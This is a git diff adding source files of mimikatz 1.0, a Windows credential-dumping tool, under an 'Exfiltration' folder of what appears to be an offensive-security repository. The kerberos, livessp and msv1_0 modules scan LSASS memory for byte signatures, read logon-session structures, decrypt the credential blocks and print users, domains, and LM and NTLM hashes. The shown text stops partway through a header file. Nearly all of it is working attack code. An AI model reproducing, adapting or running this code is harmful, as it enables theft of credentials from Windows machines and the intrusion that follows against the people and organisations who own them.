a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp new file mode 100644 index 00000000..dae52d2e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp @@ -0,0 +1,135 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kerberos.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL; +mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast(NULL); +long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast(NULL); + +bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getKerberosLogonData, wstring(L"kerberos"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#elif defined _M_IX86 + BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53}; + LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4); + BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC + LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList)) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pointeur= reinterpret_cast(&KerbLogonSessionList); + pattern = PTRN_WALL_KerbFreeLogonSessionList; + taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList); + offset = OFFS_WALL_KerbFreeLogonSessionList; + + if(mod_system::GLOB_Version.dwMinorVersion < 2) + offsetMagic = 8; + } + else + { + pointeur= reinterpret_cast(&KerbGlobalLogonSessionTable); + +#ifdef _M_X64 + pattern = PTRN_WALL_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + offset = OFFS_WALL_KerbUnloadLogonSessionTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable); + offset = OFFS_WNO8_KerbUnloadLogonSessionTable; + } + else + { + if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC + PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c; + pattern = PTRN_WIN8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable); + offset = OFFS_WIN8_KerbUnloadLogonSessionTable; + } +#endif + } + + if(HMODULE monModule = LoadLibrary(L"kerberos")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset); + *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList)); +} + +bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchKerberosFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille; + BYTE * monBuff = NULL; + + if(KerbGlobalLogonSessionTable) + { + taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL); + monBuff = new BYTE[taille]; + + if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuff); + mesCreds = &pLogSession->credentials; + } + } + } + else + { + taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic; + monBuff = new BYTE[taille]; + if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuff); + if(offsetMagic != 0) + pLogSession = reinterpret_cast(reinterpret_cast(pLogSession) + offsetMagic); + mesCreds = &pLogSession->credentials; + } + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (kerberos KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h new file mode 100644 index 00000000..1418d4f6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_kerberos { + +private: + typedef struct _KIWI_KERBEROS_LOGON_SESSION + { + struct _KIWI_KERBEROS_LOGON_SESSION *Flink; + struct _KIWI_KERBEROS_LOGON_SESSION *Blink; + DWORD UsageCount; + PVOID unk0; + PVOID unk1; + PVOID unk2; + DWORD unk3; + DWORD unk4; + PVOID unk5; + PVOID unk6; + PVOID unk7; + LUID LocallyUniqueIdentifier; + #ifdef _M_IX86 + DWORD unk8; + #endif + DWORD unk9; + DWORD unk10; + PVOID unk11; + DWORD unk12; + DWORD unk13; + PVOID unk14; + PVOID unk15; + PVOID unk16; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION; + + typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL + { + DWORD unk0; + PVOID unk1; + PVOID unk2; + PVOID unk3; + #ifdef _M_X64 + BYTE unk4[32]; + #elif defined _M_IX86 + BYTE unk4[20]; + #endif + LUID LocallyUniqueIdentifier; + #ifdef _M_X64 + BYTE unk5[44]; + #elif defined _M_IX86 + BYTE unk5[36]; + #endif + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL; + + static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList; + static long offsetMagic; + static PRTL_AVL_TABLE KerbGlobalLogonSessionTable; + static bool searchKerberosFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS; + static bool getKerberos(vector * arguments); + static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp new file mode 100644 index 00000000..7f64678f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "livessp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL; +mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast(NULL); + +bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getLiveSSPLogonData, wstring(L"livessp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00}; +#elif defined _M_IX86 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0}; +#endif + LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4); + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList) + { + + PBYTE *pointeur = reinterpret_cast(&LiveGlobalLogonSessionList); + if(HMODULE monModule = LoadLibrary(L"livessp")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions); + *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModLIVESSP && LiveGlobalLogonSessionList); +} + +bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLiveGlobalLogonSessionList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)]; + if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuffP); + if(pLogSession->suppCreds) + { + if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (livessp KO)"; + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h new file mode 100644 index 00000000..891da632 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h @@ -0,0 +1,44 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_livessp { + +private: + typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL + { + DWORD isSupp; // 88h + DWORD unk0; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_LIVESSP_LIST_ENTRY + { + struct _KIWI_LIVESSP_LIST_ENTRY *Flink; + struct _KIWI_LIVESSP_LIST_ENTRY *Blink; + PVOID unk0; // 1 + PVOID unk1; // 0FFFFFFFFh + PVOID unk2; // 0FFFFFFFFh + PVOID unk3; // 0 + DWORD unk4; // 0 + DWORD unk5; // 0 + PVOID unk6; // 20007D0h + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + PVOID unk7; // 2000010Dh + PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds; + } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY; + + static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList; + static bool searchLiveGlobalLogonSessionList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP; + static bool getLiveSSP(vector * arguments); + static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp new file mode 100644 index 00000000..39fa015e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp @@ -0,0 +1,217 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" +#include "..\..\global.h" +PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL; +PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL; + +bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E}; + BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8}; + + LONG OFFS_WALL_LogonSessionList = -sizeof(long); + LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long)); + LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); +#elif defined _M_IX86 + BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD}; + BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5}; + BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84}; + + LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG))); + LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG))); + LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1; + LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0; +#ifdef _M_X64 + offsetListe = OFFS_WALL_LogonSessionList; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_LogonSessionList; + taille = sizeof(PTRN_WIN5_LogonSessionList); + offsetCount = OFFS_WIN5_LogonSessionListCount; + } + else + { + pattern = PTRN_WIN6_LogonSessionList; + taille = sizeof(PTRN_WIN6_LogonSessionList); + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount; + else + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) + { + pattern = PTRN_WN51_LogonSessionList; + taille = sizeof(PTRN_WN51_LogonSessionList); + offsetListe = OFFS_WN51_LogonSessionList; + } + else + { + pattern = PTRN_WNO8_LogonSessionList; + taille = sizeof(PTRN_WNO8_LogonSessionList); + offsetListe = OFFS_WNO8_LogonSessionList; + offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount; + } + } + else + { + pattern = PTRN_WIN8_LogonSessionList; + taille = sizeof(PTRN_WIN8_LogonSessionList); + offsetListe = OFFS_WIN8_LogonSessionList; + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#endif + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + pointeur = reinterpret_cast(&LogonSessionList); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe)) + { + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + if(offsetCount) + { + pointeur = reinterpret_cast(&LogonSessionListCount); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount)) + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + } + } + } + return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount)); +} + +bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLogonSessionList()) + { + LONG offsetToLuid, offsetToCredentials; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials); + } + else + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8 + { +#ifdef _M_X64 + offsetToCredentials += 4*sizeof(PVOID); +#elif defined _M_IX86 + offsetToCredentials += 2*sizeof(PVOID); +#endif + } + } + + ULONG nbListes = 0; + if(LogonSessionListCount) + mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS); + else nbListes = 1; + + PLIST_ENTRY pLogSession = NULL; + for(ULONG i = 0; i < nbListes; i++) + { + if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LogonSessionList + i), offsetToLuid, logId)) + { + BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)]; + if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) + { + PVOID monPtr = *reinterpret_cast(kiwiMSVListEntry + offsetToCredentials); + if(monPtr) + { + BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)]; + if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast(kiwiMSVCredentials); + if(mesCreds->PrimaryCredentials) + { + BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)]; + if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + decryptAndDisplayCredsBlock(&reinterpret_cast(kiwiMSVPrimaryCredentials)->Credentials, justSecurity); + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)"; + delete [] kiwiMSVPrimaryCredentials; + + } else (*outputStream) << L"n.s. (PrimaryCredentials KO)"; + + }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)"; + delete [] kiwiMSVCredentials; + + } else (*outputStream) << L"n.s. (Credentials KO)"; + + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)"; + delete [] kiwiMSVListEntry; + + break; + } + } + if(!pLogSession) + (*outputStream) << L"n.t. (LUID KO)"; + } + else (*outputStream) << L"n.a. (msv1_0 KO)"; + return true; +} + +bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity) +{ + if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer) + { + BYTE * monBuffer = new BYTE[monBlock->MaximumLength]; + if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS)) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length); + PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast(monBuffer); + + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false); + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false); + + wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword)); + + if(justSecurity) + (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + (*outputStream) << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)"; + + delete [] monBuffer; + } else (*outputStream) << L"n.s. (Block Credentials KO)"; + + return true; +} + +void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h new file mode 100644 index 00000000..cf8ccac4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h @@ -0,0 +1,105 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_msv1_0 { + +private: + typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS { + PVOID unk0; // next? + LSA_UNICODE_STRING Primary; + LSA_UNICODE_STRING Credentials; + } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_CREDENTIALS { + PVOID unk0; // next? + DWORD AuthenticationPackageId; + PVOID PrimaryCredentials; + } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_LIST_5 { + struct _KIWI_MSV1_0_LIST_5 *Flink; + struct _KIWI_MSV1_0_LIST_5 *Blink; + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5; + + typedef struct _KIWI_MSV1_0_LIST_6 { + struct _KIWI_MSV1_0_LIST_6 *Flink; + struct _KIWI_MSV1_0_LIST_6 *Blink; + PVOID unk0; // unk_18457A0 + DWORD unk1; // 0FFFFFFFFh + DWORD unk2; // 0 + PVOID unk3; // 0 + PVOID unk4; // 0 + PVOID unk5; // 0 + PVOID unk6; // 0C04h + PVOID unk7; // 0 + PVOID unk8; // 0C08h + PVOID unk9; // 0 + PVOID unk10; // 0 + DWORD unk11; // 0 + DWORD unk12; // 0 + PVOID unk13; // offset off_18456A0 + LUID LocallyUniqueIdentifier; + LUID SecondaryLocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!! + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6; + + typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + 